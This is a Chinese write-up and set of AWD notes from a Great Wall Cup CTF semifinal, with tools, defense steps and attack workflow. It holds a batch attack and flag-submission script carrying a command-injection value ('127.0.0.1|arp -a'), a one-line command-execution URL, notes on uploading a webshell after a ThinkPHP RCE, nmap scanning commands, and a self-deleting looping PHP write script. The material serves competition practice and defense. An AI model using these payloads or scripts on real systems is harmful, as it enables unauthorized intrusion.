第一届长城杯半决赛wp和AWD笔记

目录

AWD

渗透

cfs

单节点1

AWD笔记

AWD工具

文件比较工具

Web漏洞扫描工具

waf工具

代码审计工具

批量网站备份文件泄露扫描工具

cms通杀漏洞的利用

通杀脚本和批量提交flag脚本

防御流程

攻击流程

注意


AWD

解题思路]

首先就是fscan快速扫描对应C段, 发现对应103的C段存活85个主机。

继续扫描

(icmp) Target <192.168.103.3> is alive
(icmp) Target <192.168.103.2> is alive
(icmp) Target <192.168.103.5> is alive
(icmp) Target <192.168.103.6> is alive
(icmp) Target <192.168.103.4> is alive
(icmp) Target <192.168.103.9> is alive
(icmp) Target <192.168.103.12> is alive
(icmp) Target <192.168.103.10> is alive
(icmp) Target <192.168.103.15> is alive
(icmp) Target <192.168.103.16> is alive
(icmp) Target <192.168.103.14> is alive
(icmp) Target <192.168.103.19> is alive
(icmp) Target <192.168.103.20> is alive
(icmp) Target <192.168.103.23> is alive
(icmp) Target <192.168.103.22> is alive
(icmp) Target <192.168.103.25> is alive
(icmp) Target <192.168.103.28> is alive
(icmp) Target <192.168.103.27> is alive
(icmp) Target <192.168.103.24> is alive
(icmp) Target <192.168.103.26> is alive
(icmp) Target <192.168.103.30> is alive
(icmp) Target <192.168.103.31> is alive
(icmp) Target <192.168.103.32> is alive
(icmp) Target <192.168.103.36> is alive
(icmp) Target <192.168.103.37> is alive
(icmp) Target <192.168.103.35> is alive
(icmp) Target <192.168.103.39> is alive
(icmp) Target <192.168.103.38> is alive
(icmp) Target <192.168.103.43> is alive
(icmp) Target <192.168.103.44> is alive
(icmp) Target <192.168.103.45> is alive
(icmp) Target <192.168.103.47> is alive
(icmp) Target <192.168.103.49> is alive
(icmp) Target <192.168.103.52> is alive
(icmp) Target <192.168.103.50> is alive
(icmp) Target <192.168.103.55> is alive
(icmp) Target <192.168.103.56> is alive
(icmp) Target <192.168.103.59> is alive
(icmp) Target <192.168.103.60> is alive
(icmp) Target <192.168.103.58> is alive
(icmp) Target <192.168.103.57> is alive
(icmp) Target <192.168.103.61> is alive
(icmp) Target <192.168.103.63> is alive
(icmp) Target <192.168.103.62> is alive
(icmp) Target <192.168.103.65> is alive
(icmp) Target <192.168.103.67> is alive
(icmp) Target <192.168.103.71> is alive
(icmp) Target <192.168.103.68> is alive
(icmp) Target <192.168.103.69> is alive
(icmp) Target <192.168.103.73> is alive
(icmp) Target <192.168.103.74> is alive
(icmp) Target <192.168.103.70> is alive
(icmp) Target <192.168.103.72> is alive
(icmp) Target <192.168.103.80> is alive
(icmp) Target <192.168.103.76> is alive
(icmp) Target <192.168.103.75> is alive
(icmp) Target <192.168.103.79> is alive
(icmp) Target <192.168.103.77> is alive
(icmp) Target <192.168.103.78> is alive
(icmp) Target <192.168.103.81> is alive
(icmp) Target <192.168.103.82> is alive
(icmp) Target <192.168.103.84> is alive
(icmp) Target <192.168.103.88> is alive
(icmp) Target <192.168.103.89> is alive
(icmp) Target 等等等等 <192.168.103.91> is alive

好笑的是我们比赛之前先上了其他队的kali,哈哈弱口令1

之后。发现都开启了对应的端口,尤其是ssh 22端口开放,根据裁判声明,直接尝试登录 其他主队主机。

因为有三个题,在当时做的时候,刚开始登陆过题目一所在主机,但只获取的对应 flag,忘记进行审计代码,忽略掉

第二道题为PHP类型的,这里忘记截图了,审计代码发现存在一个php文件, 里面 含有命令执行功能。

这是一道通杀:访问 http:ơurl/demo.php?cmd1=cat /flag 即可拿到 flag,于是凭借这个思路,拿下全部存活主机flag (部分做出防护的,未拿下)

第三道题为java,这道题是最后才找到代码开始审计,也是发现相关执行系统命令 的功能,但是时间不够,没有做出来

呼叫队友对存活主机继续尝试ssh连接拿flag。

下面附上部分截图

攻击成果

渗透

cfs

直接漏洞,发现开启了80、22、8080端口,并且在8080发现poc,看上面写

的是tp5.0.23版本的RCE,拿工具直接打

如上图,可以看到存在两个漏洞,但不能直接命令执行,尝试上传webshell

看到上传成功,之后蚁剑连接,根目录拿到第一个flag

单节点1

依旧fscan漏扫,发现存在敏感文件泄露,访问之后得到zip,尝试压缩发现需要密

这里尝试了弱口令,拿到flag

还有后面在那个里面还有流量分析,可以获得flag

AWD笔记

AWD工具

文件比较工具

DiffMerge 是一个强大的文件比较工具

打开俩个文件夹,可以进行比较

如果不同会标记

然后双击打开,查看不同

免费好用的Diff和Merge工具大总结 - hfyfpga - 博客园 (cnblogs.com)

Web漏洞扫描工具

D盾导入文件就可以扫描文件中漏洞,将网站的文件下载下来

自定义扫描,放进D盾扫描,会爆后面,5基本上是后门了

还有iis防火墙防御,还没用不知道什么样子的

waf工具

watchbird Releases · leohearts/awd-watchbird · GitHub

  • 易于配置(单文件, 无需加载外部js/css)

  • 可以随时开启/关闭某项防御

  • 基本防御:

    • 数据库注入(sql injection)

    • 文件上传(upload)

    • 文件包含(lfi)

    • flag关键字

    • PHP反序列化(unserialize)

    • 命令执行(rce)

    • 分布式拒绝服务攻击(ddos)

    • 请求头,请求参数(GET/POST)关键字

    • 特殊字符

  • 深度防御:

    • 响应检测/反向代理(默认将流量发送至本地服务器自检,可配置代理服务器IP及端口实现反代功能)

    • 响应flag检测并返回虚假flag

    • 基于LD_PRELOAD的指令执行保护

    • 基于open_basedir的PHP文件操作保护

  • 网页控制台:

    • 功能开关及配置

    • 实时日志查看

    • 日志流量重放, 可广播流量至指定网段, 支持提取flag自动提交

    • RCE/文件上传/深度检测 防御通知(由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)

    工具部署

    复制代码
    1.下载最新 release
    ​
    2.将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
    ​
    3.将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径
    ​
    4.访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码
    ​
    5.如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
    ​
    6.将以下代码放入需要启用waf的php脚本的第一行 <?php include_once "/var/www/html/watchbird.php" ?>6.enjoy it!

    多准备点其他的比如数Tomcat就要用java的waf

代码审计工具

Seay源码审计系统

可以自动审计,也可手动审计

批量网站备份文件泄露扫描工具

ihoneyBakFileScan

简介

网站备份文件泄露可能造成的危害:

复制代码
1. 网站存在备份文件:网站存在备份文件,例如数据库备份文件、网站源码备份文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。
2. 敏感文件泄露是高危漏洞之一,敏感文件包括数据库配置信息,网站后台路径,物理路径泄露等,此漏洞可以帮助攻击者进一步攻击,敞开系统的大门。
3. 由于目标备份文件较大(xxx.G),可能存在更多敏感数据泄露
4. 该备份文件被下载后,可以被用来做代码审计,进而造成更大的危害
5. 该信息泄露会暴露服务器的敏感信息,使攻击者能够通过泄露的信息进行进一步入侵。

下安裝后的操作

复制代码
    批量url扫描    python3.5 ihoneyBakFileScan.py -t 100 -f url.txt
    单个url扫描    python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/
                  python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn
                  python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt

cms通杀漏洞的利用

首先下载所有漏洞的库和poc

然后用ehole扫描指纹

然后安装Listary

双击ctrl,弹出输入扫出的cms,对应的漏洞库漏洞,然后复现

通杀脚本和批量提交flag脚本

这个很重要一定要提前写好,比如到时候很浪费时间,我第一次打AWD的时候就脚本问题,好浪费时间 下面是一个工具和提交写在一起脚本

复制代码
import requests
import re
​
path = '/WebApi/competitionCyberRange/static/base/#/competition/route/competiManage/competiAnswer'   # 攻击路径
​
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0',
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
          "Accept-Language": 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': 'JSESSIONID=823B9BC42B2A423CD515CEAEC3ECCDAA'
}
​
data = {
    'ip': '127.0.0.1|arp -a',
    'Submit': 'Submit'
}
​
#flag提交地址
url_flag = 'http://10.0.0.1/submit.php?token=123456&flag='
​
#批量攻击和提交
def attack():
    with open('urls.txt', 'r') as file:
        for line in file:
            url = line.strip()  + path      # 攻击url
            ret = requests.post(url=url, headers=headers, data=data, timeout=10)
            #print("Response:", ret.text)  # 调试输出
            flag_match = re.search(r'flag\{.+\}', ret.text)
            if flag_match:
                flag = flag_match.group()
                print("Flag:", flag)
                flag_url = url_flag + flag
                #res = requests.post(url=flag_url,headers=headers,timeout=2)   #注意这里的headers可能有问题,需要根据实际情况修改
                print(res.text)
            else:
                print(line.strip() +  " Flag not found")
attack()

防御流程

  1. 改密码 (如果每个队服务器密码一样的话,很容易被人给脚本改密码)

  2. 备份(最少三份)

  3. D盾扫后门,删除后门

  4. 漏洞修复

  5. 上waf

  6. 关进程

  7. 22,445,139端口,80-89web服务不用关闭等等

攻击流程

1.先扫描自己端口信息 一般先搜集自己的主机端口信息,比赛主机开放端口情况大多情况一致,然后类比指定扫描其他主机端口信息,最后挂后台全端口扫描防止端口遗漏

2.一般工具扫描

3.通过自己的弱点去攻击其他人的服务器

注意

1.Token是用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址可能就为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。

主机探测一般使用nmap或者是httpscan

复制代码
nmap -sn 192.168.0.0/24 #扫描c段主机存活
nmap -sV 192.168.0.2      #扫描主机系统版本
nmap -sS 192.168.0.2      #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2    #扫描主机全部端口
​
hhtpscan.py 192.168.0.0/24 -t 10 #同上

2.输入赛方提供的用户名和密码进行登录,用户权限一般较低。有时候会用RSA公钥登录的方式进行登录。或者是其他加密方式

3.端口利用方式未授权访问和弱口令漏洞

4.找到主配置文件

复制代码
find / -name "nginx.conf"         #定位nginx目录
find / -path "*nginx*" -name nginx*conf  #定位nginx配置目录
find / -name "httpd.conf"         #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录
find / -name "index.php"

5.这个是参考,自动化利用工具扫描https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具

复制代码
批量url扫描    
python3.5 ihoneyBakFileScan.py -t 100 -f url.txt
单个url扫描    
python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt

6.杀死不死马

ps auxww|grep shell.php 找到pid后杀掉进程

循环杀进程

复制代码
ps aux|grep www-data|awk '{print $2}'|xargs kill 

重启php等web服务

复制代码
service php-fpm restart

用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)

复制代码
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.3.php';
    $code = 'hi springbird !';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
    //    usleep(5000);
          usleep(1000);
    }
?>

创建一个和不死马生成的马 一样名字的文件夹 mkdir 1.php

循环创建

复制代码
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh

7.在攻击web服务的时候说下两种情况 一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。这个需要准备得比较充分,在电脑中备好 EXP 库、漏洞库和各种扫描工具库,以便能够快速利用比较明显的漏洞。

另一种情况就是分析WEB日志,学习其他选手攻击思路和漏洞利用过程,也是一个不错的得分途径。

8.网站备份目的是防止源码出错,或者是被对手恶意删除代码,或快速回复网站防止被裁判组check探测服务存活失败丢分

9.数据备份,数据库配置信息一般可以通过他的config.php/web.con等文件获取 10.注意内存马上了,会让服务器宕机,没法重启

相关推荐
菜鸡且互啄699 分钟前
Spring Boot Security自定义AuthenticationProvider
java·jvm·spring boot
寻找自己的自己19 分钟前
常用工具类
java
svygh12325 分钟前
数据库性能优化系统设计
数据库·性能优化·软件设计·系统设计·设计文档
Ku1s26 分钟前
字节跳动 AML 前端 一面
前端
捕风捉你28 分钟前
迭代器模式在金融业务中的应用及其框架实现
java·开发语言·迭代器模式
新知图书1 小时前
【图书推荐】《HTML5+CSS3 Web前端开发与实例教程(微课视频版)》
前端·css3·html5
m0_571957581 小时前
Java | Leetcode Java题解之第218题天际线问题
java·leetcode·题解
Simaoya1 小时前
vue process.env.VUE_APP_BASE_API的相关配置及axios简单封装
前端·javascript·vue.js
wusp19941 小时前
理解JSON Web Token(JWT)及其在Node.js中的使用
前端·node.js·json·jwt
wilsonzane1 小时前
Mongodb性能优化方法
数据库·mongodb